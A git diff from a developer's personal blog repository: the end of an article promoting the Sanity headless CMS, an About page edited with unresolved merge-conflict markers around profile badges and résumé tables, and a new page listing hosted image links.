+-   JavaScript could be used to provide field validations, arrange documents, and establish starting values in an advanced block editor for structured content.
+
+#### Reasons to opt for Sanity.
+
+-   _Easy to get started with_
+
+Sanity.io is easy to get started by simply installing the CLI from npm and creating a new project. Sanity's starter projects, on the other hand, will help you get started in seconds with a pre-configured Sanity Studio and a functioning front-end with a variety of frameworks to pick from, all deployed to Netlify and with source code on GitHub.
+
+-   _Better APIs_
+
+The main advantage of a headless CMS is its API-first design, which allows you to access content via APIs.
+
+For reading, writing, querying, and patching documents, Sanity provides two robust APIs:
+
+-   The live, uncached API in api.sanity.io.
+
+-   The CDN-distributed, cached API in apicdn.sanity.io.
+
+To query your material, Sanity now supports the use of GROQ and GraphQL APIs. The platform's Data Store is hosted in the cloud and may be reached through the Sanity API, either through Sanity's client libraries or directly over the HTTP API.
+
+-   _Better editing tools_
+
+Sanity's editor, often known as the Sanity Studio, is an open-source program that lets you build content models using basic JavaScript. Sanity Studio is a single-page React.js app that you may edit or expand with your React.js components. Its sophisticated capabilities allow you to change your editors' processes.
+
+Sanity Studio includes fundamental features such as Block Content, Structure Builder, and a Dashboard plugin in addition to customization.
+
+-   _Headless content models that are easy to use_
+
+Although fundamental JavaScript expertise is required to get started with Sanity, it is not difficult to locate someone knowledgeable with the popular online programming language. Content writers, graphic and interaction designers, and technology specialists may cooperate on the information architecture using Sanity. Front-end developers can save time by using APIs to access content fields immediately.
+
+-   _Mature Tech Stack_
+
+Because Sanity is a cloud-hosted CMS with a real-time content studio, all data is instantaneously synchronized. PostgreSQL, ElasticSearch, and JavaScript, and lightning-fast React form the foundation of the system. It saves logical object structures rather than HTML, XML, or rich text in the database. For example, you don't have to read HTML if you want Alexa to read from your text fields. Sanity comes with well-maintained JavaScript, HTML, and PHP clients, allowing you to get up and running quickly with your preferred front-end architecture.
+
+#### Some Cool Projects Powered by Sanity
+
+-   _Agnes_
+
+A sophisticated rental real estate site developed with Gatsby, Sanity, and Shopify features a headless Shopify shop that gets listing data through API.
+
+Gatsby was an excellent choice for this site, including content from Sanity, Shopify, and their client's real estate rental platform called Entrata.
+
+The Sanity Studio is designed to handle many building and development sites while simultaneously serving as the content management system for the developer's corporate website. Editors can evaluate their modifications in real-time before they are published, thanks to a feature called real-time draft previewing.
+
+Homepage editing environment
+
+-   _Jamstack Explorers_
+
+Jamstack Explorers is a free learning tool built by the Netlify team to help you navigate the incredible Jamstack ecosystem.
+
+Jamstack Explorers is a platform to learn more about the modern web's evolving benchmarks. Popular frameworks, new tools, APIs, and Netlify's capabilities and workflows are all covered. Phil Hawksworth, Cassidy Williams, Debbie O'Brien, Ekene Eze, and others provide thorough courses on these topics.
+
+The project features a user login feature that allows users to keep track of their progress (and earn certificates!) as they go. It also features a custom dashboard for all Jamstack Explorer users.
+
+![Youtube Play](data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCA0OCA0OCIgd2lkdGg9IjQ4cHgiIGhlaWdodD0iNDhweCI+PGxpbmVhckdyYWRpZW50IGlkPSJQZ0JfVUhhMjloMFRwRlZfbW9KSTlhIiB4MT0iOS44MTYiIHgyPSI0MS4yNDYiIHkxPSI5Ljg3MSIgeTI9IjQxLjMwMSIgZ3JhZGllbnRVbml0cz0idXNlclNwYWNlT25Vc2UiPjxzdG9wIG9mZnNldD0iMCIgc3RvcC1jb2xvcj0iI2Y0NGY1YSIvPjxzdG9wIG9mZnNldD0iLjQ0MyIgc3RvcC1jb2xvcj0iI2VlM2Q0YSIvPjxzdG9wIG9mZnNldD0iMSIgc3RvcC1jb2xvcj0iI2U1MjAzMCIvPjwvbGluZWFyR3JhZGllbnQ+PHBhdGggZmlsbD0idXJsKCNQZ0JfVUhhMjloMFRwRlZfbW9KSTlhKSIgZD0iTTQ1LjAxMiwzNC41NmMtMC40MzksMi4yNC0yLjMwNCwzLjk0Ny00LjYwOCw0LjI2N0MzNi43ODMsMzkuMzYsMzAuNzQ4LDQwLDIzLjk0NSw0MAljLTYuNjkzLDAtMTIuNzI4LTAuNjQtMTYuNDU5LTEuMTczYy0yLjMwNC0wLjMyLTQuMTctMi4wMjctNC42MDgtNC4yNjdDMi40MzksMzIuMTA3LDIsMjguNDgsMiwyNHMwLjQzOS04LjEwNywwLjg3OC0xMC41NgljMC40MzktMi4yNCwyLjMwNC0zLjk0Nyw0LjYwOC00LjI2N0MxMS4xMDcsOC42NCwxNy4xNDIsOCwyMy45NDUsOHMxMi43MjgsMC42NCwxNi40NTksMS4xNzNjMi4zMDQsMC4zMiw0LjE3LDIuMDI3LDQuNjA4LDQuMjY3CUM0NS40NTEsMTUuODkzLDQ2LDE5LjUyLDQ2LDI0QzQ1Ljg5LDI4LjQ4LDQ1LjQ1MSwzMi4xMDcsNDUuMDEyLDM0LjU2eiIvPjxwYXRoIGQ9Ik0zMi4zNTIsMjIuNDRsLTExLjQzNi03LjYyNGMtMC41NzctMC4zODUtMS4zMTQtMC40MjEtMS45MjUtMC4wOTNDMTguMzgsMTUuMDUsMTgsMTUuNjgzLDE4LDE2LjM3Ngl2MTUuMjQ4YzAsMC42OTMsMC4zOCwxLjMyNywwLjk5MSwxLjY1NGMwLjI3OCwwLjE0OSwwLjU4MSwwLjIyMiwwLjg4NCwwLjIyMmMwLjM2NCwwLDAuNzI2LTAuMTA2LDEuMDQtMC4zMTVsMTEuNDM2LTcuNjI0CWMwLjUyMy0wLjM0OSwwLjgzNS0wLjkzMiwwLjgzNS0xLjU2QzMzLjE4NywyMy4zNzIsMzIuODc0LDIyLjc4OSwzMi4zNTIsMjIuNDR6IiBvcGFjaXR5PSIuMDUiLz48cGF0aCBkPSJNMjAuNjgxLDE1LjIzN2wxMC43OSw3LjE5NGMwLjY4OSwwLjQ5NSwxLjE1MywwLjkzOCwxLjE1MywxLjUxM2MwLDAuNTc1LTAuMjI0LDAuOTc2LTAuNzE1LDEuMzM0CWMtMC4zNzEsMC4yNy0xMS4wNDUsNy4zNjQtMTEuMDQ1LDcuMzY0Yy0wLjkwMSwwLjYwNC0yLjM2NCwwLjQ3Ni0yLjM2NC0xLjQ5OVYxNi43NDRDMTguNSwxNC43MzksMjAuMDg0LDE0LjgzOSwyMC42ODEsMTUuMjM3eiIgb3BhY2l0eT0iLjA3Ii8+PHBhdGggZmlsbD0iI2ZmZiIgZD0iTTE5LDMxLjU2OFYxNi40MzNjMC0wLjc0MywwLjgyOC0xLjE4NywxLjQ0Ny0wLjc3NGwxMS4zNTIsNy41NjhjMC41NTMsMC4zNjgsMC41NTMsMS4xOCwwLDEuNTQ5CWwtMTEuMzUyLDcuNTY4QzE5LjgyOCwzMi43NTUsMTksMzIuMzEyLDE5LDMxLjU2OHoiLz48L3N2Zz4=)![video](https://img.youtube.com/vi/PPtmowJoe3s/sddefault.jpg)
+
+-   _Figma_
+
+Figma is a web-based graphics editing and UI design application. It may be used for various graphic design tasks, including wireframing websites, building mobile app interfaces, prototyping designs, and creating social media posts.
+
+Figma is not like other graphics editing software. It works primarily because it is browser-based. This means you can access your projects and begin designing from any computer or platform without purchasing additional licenses or software. One of the biggest pluses is that it allows designers to collaborate online on the same project in real-time.
+
+Sanity UI was designed to allow users to design directly in the browser using code.
+
+Arcade, an online sandbox where you can mix and match all of the library's elements and see the results in real-time, is the simplest method to play with it.
+
+Sanity also offers a fully-featured Figma library comprising all of the components, icons, font styles, and effects included in the project if you want to prototype your Sanity UI experiences with design tools.
+
+-   _Middlesbrough Town Centre App_
+
+The app was built using Flutter, Sanity, and Figma to help a small town in the UK called Middlesbrough.
+
+To encourage business, the Visit Middlesbrough app contains information about the town center's stores, restaurants, and cafés. To promote a regulated return to the town center, the app includes crucial travel and safety information.
+
+By showing the quietest periods for footfall, live data can assist vulnerable persons in planning their visits.
+
+The app's shopping area is linked to Google Maps for door-to-door navigation, and users will have the latest updates from the Council at their disposal, receiving up-to-date information directly to their screens.
diff --git a/src/pages/docs/about/index.md b/src/pages/docs/about/index.md
index e1923a2991..4d75b699e4 100644
--- a/src/pages/docs/about/index.md
+++ b/src/pages/docs/about/index.md
@@ -2,6 +2,7 @@
 title: About
 excerpt: Web-Dev-Hub is my personal blogand documentation site
 seo:
+<<<<<<< HEAD
     title: About
     description: Bryan Guner personal blog about page
     extra:
@@ -20,9 +21,28 @@ seo:
           value: About
         - name: 'twitter:description'
           value: This is the About page
+=======
+  title: About
+  description: Bryan Guner personal blog about page
+  extra:
+    - name: og:type
+      value: website
+      keyName: property
+    - name: og:title
+      value: About
+      keyName: property
+    - name: og:description
+      value: This is the About page
+      keyName: property
+    - name: twitter:card
+      value: summary
+    - name: twitter:title
+      value: About
+    - name: twitter:description
+      value: This is the About page
+>>>>>>> master
 template: docs
 ---
-
 <div align="center">
 
 <h1>Hi 👋, I'm Bryan</h1>
@@ -30,21 +50,51 @@ template: docs
 <img align="center"  src="https://github.com/bgoonz/bgoonz/blob/master/circle-small-sharp.png?raw=true?raw=true" ></img>
 ## ➤ _📧_ [bryan.guner@gmail.com](📲) _☎️_ [551-254-5505](551-254-5505)
 
+<<<<<<< HEAD
 ![Profile views](https://views.whatilearened.today/views/github/bgoonz/views.svg)[![Gitter](https://badges.gitter.im/bgoonz/community.svg)](https://gitter.im/bgoonz/community?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge)[![hackmd-github-sync-badge](https://hackmd.io/5DeYj2oXTvGJ1-Xvp1Jo2Q/badge)](https://hackmd.io/5DeYj2oXTvGJ1-Xvp1Jo2Q)[![GitHub followers](https://img.shields.io/github/followers/bgoonz.svg?style=social&label=Follow&maxAge=2592000)](https://github.com/bgoonz?tab=followers)
+=======
+![Profile views](https://views.whatilearened.today/views/github/bgoonz/views.svg)
+>>>>>>> master
 
 ### [💻WEBSITE💻](https://bgoonz-blog.netlify.app/) ⇄ [Portfolio](https://bg-portfolio.netlify.app/) ⇄ [Recent Work](https://bgoonz.github.io/github-stats-website/) ⇄ [MY DOCS📚](https://bryan-guner.gitbook.io/my-docs/)
 
  [**📁DOWNLOAD RESUME📁**](https://github.com/bgoonz/bgoonz/raw/master/bryan_guner_resume_2021_V9.pdf)
 
+<<<<<<< HEAD
 [![Portfolio](https://img.shields.io/badge/-❤_Portfolio-f58?style=flat-square&logo=a&logoColor=white&link=https://bgoonz-blog.netlify.app/)](https://bgoonz-blog.netlify.app/)<a href="https://1drv.ms/b/s!AkGiZ9n9CRDSquIDCW3sdtgIghzpeg?e=GcgN10" download>![Resume PDF](https://img.shields.io/badge/-Resume-f00?style=flat-square&logo=adobe-acrobat-reader&logoColor=white)</a>[![Bryan's email](https://img.shields.io/badge/bryan.guner@gmail.com-f4b400?style=flat-square&logo=gmail&logoColor=black&link=mailto:bryan.guner@gmail.com)](mailto:bryan.guner@gmail.com)[![Blog](https://img.shields.io/badge/-Blog-21759b?style=flat-square&logo=WordPress&logoColor=white&link=https://bgoonz-blog.netlify.app/)](https://web-dev-hub.com/)[![Linkedin](https://img.shields.io/badge/-LinkedIn-0077b5?style=flat-square&logo=Linkedin&logoColor=white&link=https://www.linkedin.com/in/bryan-guner-046199128/)](https://www.linkedin.com/in/bryan-guner-046199128/)[![AngelList](https://img.shields.io/badge/-AngelList-black?style=flat-square&logo=AngelList&logoColor=white&link=https://angel.co/u/bryan-guner)](https://angel.co/u/bryan-guner)[![GitHub bgoonz](https://img.shields.io/github/followers/bgoonz?label=follow&style=social)](https://github.com/bgoonz)
+=======
+[![GitHub followers](https://img.shields.io/github/followers/bgoonz.svg?style=social&label=Follow&maxAge=2592000)](https://github.com/bgoonz?tab=followers)
+
+# [💻WEBSITE💻](https://bgoonz-blog.netlify.app/) ⇄ [Portfolio](https://bg-portfolio.netlify.app/) ⇄ [Recent Work](https://bgoonz.github.io/github-stats-website/) ⇄ [MY DOCS📚](https://bryan-guner.gitbook.io/my-docs/)
+
+## [**📁DOWNLOAD RESUME📁**](https://github.com/bgoonz/bgoonz/raw/master/bryan_guner_resume_2021_V9.pdf)
+
+[![Portfolio](https://img.shields.io/badge/-❤_Portfolio-f58?style=flat-square&logo=a&logoColor=white&link=https://bgoonz-blog.netlify.app/)](https://bgoonz-blog.netlify.app/)<a href="https://1drv.ms/b/s!AkGiZ9n9CRDSquIDCW3sdtgIghzpeg?e=GcgN10" download>![Resume PDF](https://img.shields.io/badge/-Resume-f00?style=flat-square&logo=adobe-acrobat-reader&logoColor=white)</a>[![Bryan's email](https://img.shields.io/badge/bryan.guner@gmail.com-f4b400?style=flat-square&logo=gmail&logoColor=black&link=mailto:bryan.guner@gmail.com)](mailto:bryan.guner@gmail.com)[![Blog](https://img.shields.io/badge/-Blog-21759b?style=flat-square&logo=WordPress&logoColor=white&link=https://bgoonz-blog.netlify.app/)](https://bgoonz-blog.netlify.app/)[![Linkedin](https://img.shields.io/badge/-LinkedIn-0077b5?style=flat-square&logo=Linkedin&logoColor=white&link=https://www.linkedin.com/in/bryan-guner-046199128/)](https://www.linkedin.com/in/bryan-guner-046199128/)[![AngelList](https://img.shields.io/badge/-AngelList-black?style=flat-square&logo=AngelList&logoColor=white&link=https://angel.co/u/bryan-guner)](https://angel.co/u/bryan-guner)[![GitHub bgoonz](https://img.shields.io/github/followers/bgoonz?label=follow&style=social)](https://github.com/bgoonz)
+>>>>>>> master
 
 <p align="center">
   
 <h4 align="center">A passionate Web Developer, Electrical Engineer, Musician & Producer</h4>
 
 <img align="center" src="https://readme-jokes.vercel.app/api" stye="width:570; height:420;">
+<h3 align="center">Languages and Tools:</h3>
 
+<<<<<<< HEAD
 <details>
+=======
+<p align="left">
+<a href="https://babeljs.io/" target="_blank"> <img src="https://www.vectorlogo.zone/logos/babeljs/babeljs-icon.svg" alt="babel" width="40" height="40"/> </a> <a href="https://www.gnu.org/software/bash/" target="_blank"> <img src="https://www.vectorlogo.zone/logos/gnu_bash/gnu_bash-icon.svg" alt="bash" width="40" height="40"/> </a> <a href="https://getbootstrap.com" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/bootstrap/bootstrap-plain-wordmark.svg" alt="bootstrap" width="40" height="40"/> </a> <a href="https://www.w3schools.com/cpp/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/cplusplus/cplusplus-original.svg" alt="cplusplus" width="40" height="40"/> </a> <a href="https://www.w3schools.com/css/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/css3/css3-original-wordmark.svg" alt="css3" width="40" height="40"/> </a> <a href="https://d3js.org/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/d3js/d3js-original.svg" alt="d3js" width="40" height="40"/> </a> <a href="https://www.docker.com/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/docker/docker-original-wordmark.svg" alt="docker" width="40" height="40"/> </a> <a href="https://www.elastic.co" target="_blank"> <img src="https://www.vectorlogo.zone/logos/elastic/elastic-icon.svg" alt="elasticsearch" width="40" height="40"/> </a> <a href="https://emberjs.com/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/ember/ember-original-wordmark.svg" alt="ember" width="40" height="40"/> </a> <a href="https://expressjs.com" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/express/express-original-wordmark.svg" alt="express" width="40" height="40"/> </a> <a href="https://firebase.google.com/" target="_blank"> <img src="https://www.vectorlogo.zone/logos/firebase/firebase-icon.svg" alt="firebase" width="40" height="40"/> </a> <a href="https://www.gatsbyjs.com/" target="_blank"> <img src="https://www.vectorlogo.zone/logos/gatsbyjs/gatsbyjs-icon.svg" alt="gatsby" width="40" height="40"/> </a> <a href="https://cloud.google.com" target="_blank"> <img src="https://www.vectorlogo.zone/logos/google_cloud/google_cloud-icon.svg" alt="gcp" width="40" height="40"/> </a> <a href="https://git-scm.com/" target="_blank"> <img src="https://www.vectorlogo.zone/logos/git-scm/git-scm-icon.svg" alt="git" width="40" height="40"/> </a> <a href="https://heroku.com" target="_blank"> <img src="https://www.vectorlogo.zone/logos/heroku/heroku-icon.svg" alt="heroku" width="40" height="40"/> </a> <a href="https://www.w3.org/html/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/html5/html5-original-wordmark.svg" alt="html5" width="40" height="40"/> </a> <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/javascript/javascript-original.svg" alt="javascript" width="40" height="40"/> </a> <a href="https://jekyllrb.com/" target="_blank"> <img src="https://www.vectorlogo.zone/logos/jekyllrb/jekyllrb-icon.svg" alt="jekyll" width="40" height="40"/> </a> <a href="https://www.linux.org/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/linux/linux-original.svg" alt="linux" width="40" height="40"/> </a> <a href="https://mochajs.org" target="_blank"> <img src="https://www.vectorlogo.zone/logos/mochajs/mochajs-icon.svg" alt="mocha" width="40" height="40"/> </a> <a href="https://www.mongodb.com/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/mongodb/mongodb-original-wordmark.svg" alt="mongodb" width="40" height="40"/> </a> <a href="https://nextjs.org/" target="_blank"> <img src="https://cdn.worldvectorlogo.com/logos/nextjs-3.svg" alt="nextjs" width="40" height="40"/> </a> <a href="https://nodejs.org" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/nodejs/nodejs-original-wordmark.svg" alt="nodejs" width="40" height="40"/> </a> <a href="https://www.photoshop.com/en" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/photoshop/photoshop-line.svg" alt="photoshop" width="40" height="40"/> </a> <a href="https://www.postgresql.org" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/postgresql/postgresql-original-wordmark.svg" alt="postgresql" width="40" height="40"/> </a> <a href="https://postman.com" target="_blank"> <img src="https://www.vectorlogo.zone/logos/getpostman/getpostman-icon.svg" alt="postman" width="40" height="40"/> </a> <a href="https://pugjs.org" target="_blank"> <img src="https://cdn.worldvectorlogo.com/logos/pug.svg" alt="pug" width="40" height="40"/> </a> <a href="https://github.com/puppeteer/puppeteer" target="_blank"> <img src="https://www.vectorlogo.zone/logos/pptrdev/pptrdev-official.svg" alt="puppeteer" width="40" height="40"/> </a> <a href="https://www.python.org" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/python/python-original.svg" alt="python" width="40" height="40"/> </a> <a href="https://reactjs.org/" target="_blank"> <img src="https://raw.githubusercontent.com/devicons/devicon/master/icons/react/react-original-wordmark.svg" alt="react" width="40" height="40"/> </a> <a href="https://reactnative.dev/" target="_blank"> <img src="https://reactnative.dev/img/header_logo.svg" alt="reactnative" width="40" height="40"/> </a> <a href="https://www.typescriptlang.org/" target="_blank">
+
+<br>  
+<br>  
+<br>
+
+  
+<p>
+<img align="center" src="https://github-readme-streak-stats.herokuapp.com/?user=bgoonz&" alt="bgoonz" />
+<img align="center" src="https://github-readme-stats.vercel.app/api?username=bgoonz&show_icons=true&locale=en" alt="bgoonz" />
+</p>
+>>>>>>> master
 
 <summary><h3 align="center">Languages and Tools:</h3></summary>
 
@@ -76,6 +126,7 @@ template: docs
 
 <details>
 
+<<<<<<< HEAD
 <summary>About Me</summary>
 
 - 🔭 Contract Web Development **Duke Energy**
@@ -86,6 +137,18 @@ template: docs
 -
 - 🤝 I'm looking for help with [L
 -
+=======
+
+### About Me
+
+- 🔭 Contract Web Development **Duke Energy**
+
+- 🌱 I'm currently learning **React/Redux, Python, Java, Express, jQuery**
+
+- 👯 I'm looking to collaborate on [Any web audio or open source educational tools.](<https://goofy-e>
+- 🤝 I'm looking for help with [L
+
+>>>>>>> master
 - 👨‍💻 All of my projects are available at [https://bgoonz.github.io/](https://bgoonz.github.io/)
 
 - 📝 I regularly write articles on [medium](https://bryanguner.medium.com/) && [Web-Dev-Resource-Hub](https://web-dev-resource-hub.netlify.app/)
@@ -150,6 +213,7 @@ Creating things that change my every day life.
 
 | | ## Portfolio:
 
+<<<<<<< HEAD
 # [netlify](https://portfolio42.netlify.app/) |
 
 | :------------: | --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
@@ -177,11 +241,16 @@ Creating things that change my every day life.
 <!-- start work experience section -->
 <details>
 <summary><center><h4> Resume</h4></center> </summary>
+=======
+
+
+## Resume (Old):
+>>>>>>> master
 
 # ➤ Technical Skills
 
 | **Programming\*\*** Languages:\*\* | JavaScript ES-6, NodeJS, React, HTML5, CSS3, SCSS, Bash Shell, Excel, SQL, NoSQL, MATLAB, Python, C++ |
-| ---------------------------------- | ----------------------------------------------------------------------------------------------------- |
+|------------------------------------|-------------------------------------------------------------------------------------------------------|
 | **Databases:**                     | PostgreSQL, MongoDB                                                                                   |
 | **Cloud:**                         | Docker, AWS, Google App Engine, Netlify, Digital Ocean, Heroku, Azure Cloud Services                  |
 | **OS:**                            | Linux, Windows (WSL), IOS                                                                             |
@@ -195,9 +264,15 @@ Creating things that change my every day life.
 # ➤ Experience
 
 | **Duke Energy:** Hallandale Beach, FL | March 2020 - Present |
+<<<<<<< HEAD
 | --------------------------------------------- | -------------------- |
 | **Front End Web Developer**                   |
 |                                               |
+=======
+| ------------------------------------- | -------------------- |
+| **Front End Web Developer**           |
+|                                       |
+>>>>>>> master
 
 - Responsible for front-end development for a custom real estate application which provides sophisticated and fully customizable filtering to allow investors and real estate professionals to narrow in on exact search targets.
 - Designed mock-up screens, wireframes, and workflows for intuitive user experience.
@@ -251,6 +326,8 @@ Creating things that change my every day life.
 ---
 <center><h4>|-------------------------------🔥🔥🔥🔥🔥🔥🔥--------------------------------|</h4></center>
 
+
+
 ---
 <br>
 <br>
@@ -306,13 +383,21 @@ Creating things that change my every day life.
 
   </tbody>
 
+<<<<<<< HEAD
 <p align="center">
+=======
+
+
+<br>
+<br>
+>>>>>>> master
 
 <br>
 <br>
 
 
 
+<<<<<<< HEAD
 <br>
 <br>
 
@@ -801,6 +886,23 @@ function longestCommonPrefix(strs) {
 
 <hr>
 
+=======
+</div>
+
+>>>>>>> master
+
+
+
+
+
+
+
+
+<br>
+<br>
+<br>
+<br>
+
 
 
 [list-of-my-websites](https://gist.github.com/bgoonz/659a9b81ac45453bedc0a1a36275b580)
@@ -818,6 +920,9 @@ function longestCommonPrefix(strs) {
 
 ![Express](https://img.shields.io/badge/-Express-blue?style=flat&logo=express) ![Nodejs](https://img.shields.io/badge/-Nodejs-green?style=flat&logo=Node.js)![Python](https://img.shields.io/badge/-Python-lightyellow?style=flat&logo=python&logoColor=blue) ![Bootstrap](https://img.shields.io/badge/-Bootstrap-7952B3?style=flat&logo=bootstrap&logoColor=white) ![JavaScript](https://img.shields.io/badge/-JavaScript-black?style=flat&logo=javascript)
 
+<<<<<<< HEAD
 </details>
 
 </center>
+=======
+>>>>>>> master
diff --git a/src/pages/docs/about/internal-use.md b/src/pages/docs/about/internal-use.md
new file mode 100644
index 0000000000..326199af38
--- /dev/null
+++ b/src/pages/docs/about/internal-use.md
@@ -0,0 +1,1518 @@
+---
+title: Internal Use
+excerpt: Web-Dev-Hub is my personal blogand documentation site
+seo:
+    title: Internal Use
+    description: Bryan Guner personal blog Internal Use page
+    extra:
+        - name: 'og:type'
+          value: website
+          keyName: property
+        - name: 'og:title'
+          value: Internal Use
+          keyName: property
+        - name: 'og:description'
+          value: This is the Internal Use page
+          keyName: property
+        - name: 'twitter:card'
+          value: summary
+        - name: 'twitter:title'
+          value: Internal Use
+        - name: 'twitter:description'
+          value: This is the Internal Use page
+template: docs
+---
+
+
+- [april backup](https://backup-april-4-2022--bgoonz-blog.netlify.app/)
+
+
+
+
+## Images: 
+
+
+
+> 0beuahctjrs_qcqgv.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/0beuahctjrs_qcqgv.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/0beuahctjrs_qcqgv.jpg?raw=true)
+
+> 893fd416-b7a7-45b9-9fb9-007aaf56fb49.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/893fd416-b7a7-45b9-9fb9-007aaf56fb49.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/893fd416-b7a7-45b9-9fb9-007aaf56fb49.jpeg?raw=true)
+
+> 94ccd765-3bda-4e0f-adcf-98d9d97cd3e8.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/94ccd765-3bda-4e0f-adcf-98d9d97cd3e8.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/94ccd765-3bda-4e0f-adcf-98d9d97cd3e8.jpeg?raw=true)
+
+> Capture.PNG
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Capture.PNG?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Capture.PNG?raw=true)
+
+> Handlebars.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Handlebars.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Handlebars.png?raw=true)
+
+> My%20Post.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/My%20Post.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/My%20Post.png?raw=true)
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Screenshot%202022-03-30%20at%2012-37-24%20Website%20Speed%20Test%20Tool%20-%20Testmysite.io%20by%20Netlify.png?raw=true](https://raw.githubusercontent.com/
+> Screenshot%202022-03-30%20at%2012-37-24%20Website%20Speed%20Test%20Tool%20-%20Testmysite.io%20by%20Netlify.png
+bgoo
+nz/BGOONZ_BLOG_2.0/master/static/images/Screenshot%202022-03-30%20at%2012-37-24%20Website%20Speed%20Test%20Tool%20-%20Testmysite.io%20by%20Netlify.png?raw=true)
+
+> Visual_Studio_Code_logo.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Visual_Studio_Code_logo.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/Visual_Studio_Code_logo.png?raw=true)
+
+> algolia.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/algolia.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/algolia.png?raw=true)
+
+> amazon-cloudwatch.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/amazon-cloudwatch.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/amazon-cloudwatch.png?raw=true)
+
+> amazon-ses.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/amazon-ses.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/amazon-ses.png?raw=true)
+
+> analytics.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/analytics.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/analytics.jpg?raw=true)
+
+> android.jpeg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/android.jpeg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/android.jpeg?raw=true)
+
+> android.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/android.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/android.png?raw=true)
+
+> angular.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/angular.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/angular.png?raw=true)
+
+> apache.jpg
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apache.jpg?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apache.jpg?raw=true)
+
+> api.gif
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/api.gif?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/api.gif?raw=true)
+
+> apple-touch-icon-114x114.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-114x114.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-114x114.png?raw=true)
+
+> apple-touch-icon-120x120.png
+
+![https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-120x120.png?raw=true](https://raw.githubusercontent.com/bgoonz/BGOONZ_BLOG_2.0/master/static/images/apple-touch-icon-120x120.png?raw=true)
+
+> apple-touch-icon-144x144.png
+
